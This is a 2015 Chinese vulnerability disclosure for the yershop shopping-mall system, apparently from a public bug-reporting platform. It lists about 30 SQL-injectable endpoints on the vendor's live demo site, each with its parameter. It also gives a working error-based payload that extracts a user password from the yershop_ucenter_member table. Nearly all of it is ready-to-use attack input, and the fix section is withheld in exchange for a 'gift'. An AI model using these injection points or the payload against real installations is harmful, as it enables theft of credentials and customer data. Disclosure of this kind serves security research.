yershop商城系统30处sql注入

漏洞详情

披露状态:

2015-08-10: 细节已通知厂商并且等待厂商处理中
2015-08-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-10-09: 细节向核心白帽子及相关领域专家公开
2015-10-19: 细节向普通白帽子公开
2015-10-29: 细节向实习白帽子公开
2015-11-13: 细节向公众公开

简要描述:

有回显,非盲,无视gpc,tp框架,安装环境php5.3以上,官网demo演示

详细说明:

http://demo.yershop.com/index.php?s=/Home/account/savepaykey.html

post:uid=1'

http://demo.yershop.com/index.php?s=/home/article/comment

post:goodid=1'

http://demo.yershop.com/index.php?s=/home/article/commentgood

post:goodid=1'

http://demo.yershop.com/index.php?s=/home/article/commentmiddle

post:goodid=1'

http://demo.yershop.com/index.php?s=/home/article/commentworse

post:goodid=1'

http://demo.yershop.com/index.php?s=/Home/center/shezhi //下面的需要登录

post:id=1'

http://demo.yershop.com/index.php?s=/Home/center/deleteAddress.html

post:id=1'

http://demo.yershop.com/index.php?s=/home/order/detail/id/1'

http://demo.yershop.com/index.php?s=/home/order/cancel/id/1'

http://demo.yershop.com/index.php?s=/home/order/canceldetail/id/1'

http://demo.yershop.com/index.php?s=/home/order/backdetail/id/1'

http://demo.yershop.com/index.php?s=/home/order/changedetail/id/1'

http://demo.yershop.com/index.php?s=/home/order/wuliu/orderid/1

http://demo.yershop.com/index.php?s=/home/order/back/

post:id=1'

http://demo.yershop.com/index.php?s=/home/order/backkuaidi/

post:backid=1'

http://demo.yershop.com/index.php?s=/home/order/change/

post:id=1'

http://demo.yershop.com/index.php?s=/home/order/changekuaidi/

post:backid=1'

http://demo.yershop.com/index.php?s=/home/order/complete/id/1'

http://demo.yershop.com/index.php?s=/home/pay/index/orderid/1'

http://demo.yershop.com/index.php?s=/home/pay/chongzhi/orderid/1'

http://demo.yershop.com/index.php?s=/home/service/index/id/1'

http://demo.yershop.com/index.php?s=/home/shopcart/addItem/

post:id=1'&i=1'

http://demo.yershop.com/index.php?s=/home/shopcart/addgood/

post:id=1'

http://demo.yershop.com/index.php?s=/home/shopcart/createorder/

post:tag=1'

http://demo.yershop.com/index.php?s=/home/shopcart/delItemByuid/

post:sort=1'

http://demo.yershop.com/index.php?s=/home/shopcart/getPricetotal/tag/1'

http://demo.yershop.com/index.php?s=/home/shopcart/getpriceNum/id/1'

http://demo.yershop.com/index.php?s=/home/user/checkcode/

post:couponid=1'

http://demo.yershop.com/index.php?s=/home/user/getcoupon/

post:couponid=1'

http://demo.yershop.com/index.php?s=/home/user/cut/id/1'

下面给出一个payload:

http://demo.yershop.com/index.php?s=/home/article/comment

goodid=1') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23

漏洞证明:

QQ截图20150808195211.jpg

修复方案:

给我小礼物我就告诉你们,保证给力!